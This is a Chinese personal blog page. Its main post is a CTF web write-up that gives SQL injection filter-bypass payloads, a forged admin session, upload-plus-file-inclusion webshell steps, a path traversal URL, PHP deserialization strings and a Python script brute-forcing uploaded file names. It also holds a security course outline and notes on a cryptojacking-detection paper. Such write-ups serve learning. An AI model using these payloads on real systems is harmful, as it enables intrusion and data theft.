Site for note


  • 首页

  • 归档

2019Blue-Whale新生赛 Web部分-WP

发表于 2019-02-21

2019Blue-Whale新生赛 Web-WP

Admin

用guest账号进去,访问,抓包。发现里面SESSION是一传BASE64,解码得到

1
{"user":"guest","perm":{"flag.php":false,"profile.php":true}}

改成下面的

1
{"user":"admin","perm":{"flag.php":true,"profile.php":true}}

重放一下数据包,得到flag

flag{S2FpYnJv5omL5LiL55WZ5oOF5a5ZeO77yf}

BabyPHP

一开始觉得可能是数组绕过,但是问题是,你绕过去了,eval执行的结果是错的,因为你传递的是数组,而不是字符串。可以参考下面这个WP,或者CTF-wiki上也有。找时间详细讲讲。

1
2
http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Warmup

这题不难,绕过SQL,可以联合查询,关键在于,整个表里面是没有 ‘Congrats!’ 的。所以我们可以自己构造一个。

1
1233') union select 'Congrats!' from users --

getshell

查看源代码,有一行这个。

1
<!-- index.php?file=register.php -->

随便注册一下,进去就行了,考察点不在这里。

进去有一个download,以及upload。 基本猜得出来和文件上传+任意文件下载。

点download,全程抓包。 你会发现有一个post包:

1
image=1&image_download=%E6%94%B6%E8%97%8F

这里可能有些人没有想到SQL注入。在image=1 这里存在整数型SQL注入,说白了就是改个名字,让我们下载到index.php.

1
image=2 ununionion selselectect 0x696e6465782e706870&image_download=%E6%94%B6%E8%97%8F

P.S:image后的数字不能是已经存在的。 用0x696e6465782e706870 = index.php (单引号过滤),用ununionion(关键词过滤)

通过上述操作,可以下载到任意代码。下面就贴一下upload.php的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php 

defined("DIR_PERMITION") or die("Access denied!");

if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}

?>
<link rel="stylesheet" href="./css/main.css" style="css" />
<div id="left"><div class="main"><table align=center cellspacing="0" cellpadding="0" style="border-collapse: collapse;border:0px;">
<tr>
<form method=get action="index.php">
<td align=right style="padding:0px; border:0px; margin:0px;">
<input type=submit name=file value="home" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="download" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="upload" class="side-pan">
</td>
</form></tr></table></div></div>
<div id="right"></div><div align=center>

<form action="index.php?file=upload" method="post" enctype="multipart/form-data">
<input type="file" name ="file">
<input type="submit" name="submit" value="upload" >
</form>

<?php

if (isset($_FILES['file'])) {

$seed = rand(0,getrandmax());
mt_srand($seed);
if ($_FILES["file"]["error"] > 0) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\">uplpad file error!:".$_FILES["file"]["error"]."</i></div>";
die();
}
$fileTypeCheck = ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800));
$reg='/^gif|jpg|jpeg|png$/';
$fileExtensionCheck=!preg_match($reg,pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if($fileExtensionCheck){
die("Only upload image file!");
}
if($fileTypeCheck){

$fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
$fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
$userid = $_SESSION['userid'];
$sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
$res = $conn ->query($sql);
if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";

}else{
echo "<script>alert('file upload error')</script>";
}

}else{

echo "<script>alert('file type error');</script>";
}

}

?>

可以看出来,是没有限制文件内容,只限制了后缀。因为有文件包含漏洞,这里利用一下伪协议(phar和zip都可以,通过压缩文件,然后利用伪协议访问压缩包内的php文件)。

但是这里仍然存在问题,你上传了,upload会给你改名字。 哪里获得名字? =>刚才的sql注入又起到了作用。 这里直接贴代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import requests

def getFilename():
data="image=46%20aandnd%20image_name%20lilikeke%200x7465737431%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"
url = "http://47.94.90.254:8011/downfile.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"PHPSESSID=efrlof7kv872lbl4o1vlvjt2i5",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
}

randStr="0123456789abcdefghijklmnopqrstuvwxyz{"
fileName = "./Up10aDs/"
for _ in range(33):
print "[*]",fileName
for i in range(len(randStr)):
# print i
tmpFileName = fileName+randStr[i]
res = requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers)
# print res.text
if "file may be deleted" not in res.text:
fileName = fileName + randStr[i-1]
break

if __name__ == '__main__':
getFilename()

对于EXP的解释可以看这个:http://wonderkun.cc/index.html/?p=547

这题有一个问题,写了shell后,只能system(ls),system(dir) ,不能cat xxxxx 要通过任意文件下载的方法把文件下载查看。


update:

由于本人疏忽,没注意index.php顶上对’$_GET和$_POST 有一个d_addslashes()(自创函数)

1
2
3
4
5
6
7
8
9
10
11
12
function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key] = d_addslashes($array[$key]);
}
}
return $array;
}

使得传入的单引号和空格会被转义。

解决办法:

将语句base64编码即可。

system(base64_decode(xxxxxxx))(记住除掉=号,php会自动填充,以免不必要的问题发生)

Package

Hctf签到题原题。

右键源代码。

利用:

1
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

payload

1
http://xxx/index.php?file=source.php%253f/../../../../fl4g

Trick

反序列化问题

获取passwd:

1
O:5:"TRICK":3:{s:13:"%00TRICK%00mayway";s:7:"display";s:14:"%00TRICK%00aaaargs";a:1:{i:0;s:71:"blb' union select passwd,uname,passwd from users where part='admin' -- ";}}

获取flag

1
O:5:"TRICK":4:{s:13:"%00TRICK%00mayway";s:5:"enter";s:14:"%00TRICK%00aaaargs";a:2:{i:0;s:5:"ahhhh";i:1;s:12:"trickORtreat";}}

不难,有几个点得注意。

1.不要写错单引号和双引号。

2.序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00

大纲

发表于 2019-02-06

由于经费不足,不能参加Web微专业的进阶班。故打算根据其大纲,自己制作一个进阶课程笔记。如有侵权,我会及时删除。

以下是课程大纲(来源点我):

SQL注入漏洞原理与利用

第一章:SQL注入基础

1.1 Web应用架构分析

1.2 SQLi注入环境搭建

1.3 SQL注入原理分析

1.4 MySQL注入方法逻辑运算及常用函数

1.5 SQL注入流程

1.6 SQL手工注入方法

第二章:SQL注入语法类型

2.1 union联合查询注入

2.2 报错注入

第三章:SQL盲注

3.1 SQL盲注- 布尔盲注

3.2 SQL盲注-时间注入

3.3 Dnslog盲注

第四章:SQL注入防御绕过

4.1 宽字节注入

4.2 二次编码注入

4.3 二次注入

4.4 WAF绕过原理分析

4.5 SQLmap绕过WAF脚本编写

第五章:MsSQL数据库注入

5.1 MsSQL数据库环境搭建

5.2 MsSQL数据库注入(一)

5.3 MsSQL数据库注入(二)

第六章:Oracle数据库注入

6.1 Oracle数据库环境搭建

6.2 Oracle数据库注入(一)

6.3 Oracle数据库注入(二)

第七章:SQLMap实战进阶

7.1 SQLMap进阶(一)

7.2 SQLMap进阶(二)

文件上传漏洞原理与利用

第一章:文件上传漏洞原理与流程

1.1 文件上传漏洞原理

1.2 文件上传检测流程

第二章:前端检测绕过

2.1 浏览器端检测绕过

2.2 提交报文修改检测

第三章:服务端检测绕过

3.1 MIME类型检测绕过

3.2 文件内容检测绕过

3.3 文件扩展名检测绕过

3.4 编辑器漏洞

第四章:解析漏洞

4.1 IIS/Nginx+PHP fastcgi取值错误解析漏洞

4.2 Nginx 文件名逻辑漏洞(CVE-2013-4547)

4.3 Apache解析漏洞(配置错误)

4.4 IIS 5.x/6.0解析漏洞

第五章:文件上传高级利用

5.1 图片重绘

5.2 PHPINFO与文件包含的利用

5.3 在线解压缩漏洞利用

XSS漏洞原理与利用

第一章:XSS基础

1.1 XSS介绍与原理

1.2 存储型XSS实战

1.3 反射型XSS实战

1.4 DOM型XSS实战

1.5 XSS辅助测试工具

第二章:XSS实战与防御机制绕过

2.1 存储型XSS多场景实战及Bypass详解(上)

2.2 存储型XSS多场景实战及Bypass详解(下)

2.3 反射型XSS多场景实战及Bypass详解

2.4 DOM型XSS多场景实战及Bypass详解

第三章:XSS高级

3.1 Electron跨平台XSS-执行系统命令

3.2 possMessage XSS

3.3 localStorage XSS

3.4 Flash XSS

3.5 变种XSS:持久控制

3.6 React XSS

业务逻辑与非常规漏洞原理与利用

第一章:业务逻辑漏洞

1.1 权限绕过漏洞

1.2 支付逻辑漏洞

1.3 密码找回漏洞

1.4 验证码安全

第二章:非常规漏洞原理与利用

2.1 SSRF漏洞原理与利用

2.2 XXE漏洞原理与利用

提权与内网渗透

第一章:提权基础

1.1 提权概述

1.2 基于密码破解的提权

第二章:操作系统提权

2.1 Windows操作系统提权基础

2.2 Windows操作系统提权实践

2.3 Linux操作系统提权基础

2.4 Linux操作系统提权实践

第三章:数据库提权

3.1 SQL Server数据库漏洞利用与提权

3.2 MySQL数据库漏洞与提权

第四章:Metasploit漏洞利用与提权

4.1 Metasploit基础知识

4.2 利用Metasploit提权

第五章:内网信息搜集

5.1 内网信息搜集关注点

5.2 内网信息搜集常用方法

第六章:内网环境渗透

6.1 内网渗透思路与方法

PHP代码审计

第一章:代码审计准备

1.1 代码审计环境准备

第二章:PHP代码审计基础

2.1 审计方法与步骤

2.2 常见的INI配置

2.3 常见危险函数及特殊函数(一)

2.4 常见危险函数及特殊函数(二)

2.5 XDebug的配置和使用

第三章:PHP危险函数审计

3.1 命令注入

3.2 安装问题的审计

3.3 SQL数字型注入

3.4 XSS后台敏感操作

3.5 文件包含漏洞的审计

3.6 任意文件读取

3.7 越权操作

3.8 登录密码爆破

3.9 截断注入

ThinkPHP框架代码审计

第一章:环境配置与认知框架

1.1 环境配置与认知框架

第二章:ThinkPHP控制器审计

2.1 ThinkPHP控制器审计

第三章:SQL注入漏洞审计

3.1 Thinkphp where注入

3.2 Thinkphp table注入

3.3 Thinkphp field注入

3.4 Thinkphp alias-union-join注入

3.5 Thinkphp order-group-having注入

3.6 Thinkphp commnet注入

3.7 Thinkphp 索引注入

3.8 Thinkphp query、execute、聚合方法

3.9 Thinkphp EXP表达式注入-1

3.10 Thinkphp EXP表达式注入-2

3.11 Thinkphp 参数传递注入

3.12 Thinkphp 组合注入

第四章:其他类型漏洞审计

4.1 Thinkphp 逻辑越权

4.2 Thinkphp 模板漏洞

4.3 Thinkphp php标签

4.4 Thinkphp 缓存漏洞

4.5 Thinkphp Widget

Python安全编程

第一章:Python在网络安全中的应用

1.1 Python黑客领域的现状

1.2 我们可以用Python做什么

1.3 第一章课程内容总结

第二章:python安全应用编程入门

2.1 Python正则表达式

2.2 Python Web编程

2.3 Python多线程

2.4 Python网络编程

2.5 Python数据库编程

2.6 第二章课程内容总结

第三章:Python爬虫技术实现

3.1 Python爬虫BeautifulSoup模块的介绍

3.2 Python爬虫hackhttp模块的介绍

3.3 结合BeautifulSoup和hackhttp的爬虫实例

3.4 爬虫多线程

3.5 爬虫正则表达式

3.6 seebug爬虫实战(一)

3.7 seebug爬虫实战(二)

3.8 百度URL采集(一)

3.9 百度URL采集(二)

3.10 代理IP地址采集

3.11 zoomeye采集

3.12 第三章课程内容总结

第四章:Python信息收集工具编写

4.1 高精度字典生成(一)

4.2 高精度字典生成(二)

4.3 WEB目录扫描程序(一)

4.4 WEB目录扫描程序(二)

4.5 C段WEB服务扫描(一)

4.6 C段WEB服务扫描(二)

4.7 子域名扫描程序(一)

4.8 子域名扫描程序(二)

4.9 子域名扫描程序(三)

4.10 子域名扫描程序(四)

4.11 指纹识别(一)

4.12 指纹识别(二)

4.13 第四章课程内容总结

第五章:Python编写Burpsuite插件

5.1 Python编写Burpsuite插件(入门)

5.2 Python编写Burpsuite插件(进阶)

互联网企业安全建设

第一章:企业安全建设之安全平台搭建

1.1 基础安全建设

1.2 搭建开源SIEM平台

1.3 搭建大规模WAF集群

1.4 自建准入系统

第二章:企业安全建设之数据安全

2.1 数据防泄漏

2.2 主机端数据库审计

2.3 网络层数据库审计

第三章:企业安全建设之漏洞扫描器与蜜罐

3.1 漏洞扫描器

3.2 蜜罐与攻击欺骗

第四章:案例分享课-互联网企业安全工作推动与实施从0到1


更新时间不确定,更新顺序也不确定。总之定个小目标,半年内弄完吧~

会议观后感

发表于 2019-01-21

How You Get Shot in the Back: A Systematical Study about Cryptojacking in the Real World

讲了什么:检测Web端的恶意挖矿的识别

用的方法:node.js写的程序,利用node.js写了两个分析器,一个是基于hash的,另一个是基于动态监控程序执行(栈结构)。

基于Hash

我的理解是,在当前网站上,再执行一个js,该功能是计算散列函数的结果,正常网站的计算时间肯定是比带有恶意挖矿程序的网站的时间快的,并且有明显的区别。

基于栈结构

这里检测的是堆栈调用的情况,一般访问正常的网页,普通网页很少重复调用的堆栈,如果是恶意网站,调用会一直重复调用某个堆栈,并且每次申请堆栈的深度和调用链是一样的。因此,如果专用线程周期性地(在固定时间内部)重复其调用链,并且调用链占用该线程中整个执行时间的30%以上,我们判定为恶意程序。

相关工作

区块链安全:大部分人做的是加密,智能合约这块的工作,作者未来可能会往Web端上对区块链安全进行研究。

JS恶意代码检测:作者将会用基于Hash+堆栈结构的js代码检测法进一步扩展,使其不止检测恶意挖矿,还能检测别的恶意代码。

个人看法

用node.js写程序来研究JS好像是一个很不错的方法。 以后在研究与JS相关的课题时,可以用此框架实现一些功能。

MiluOwO

3 日志
3 标签
© 2019 MiluOwO
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4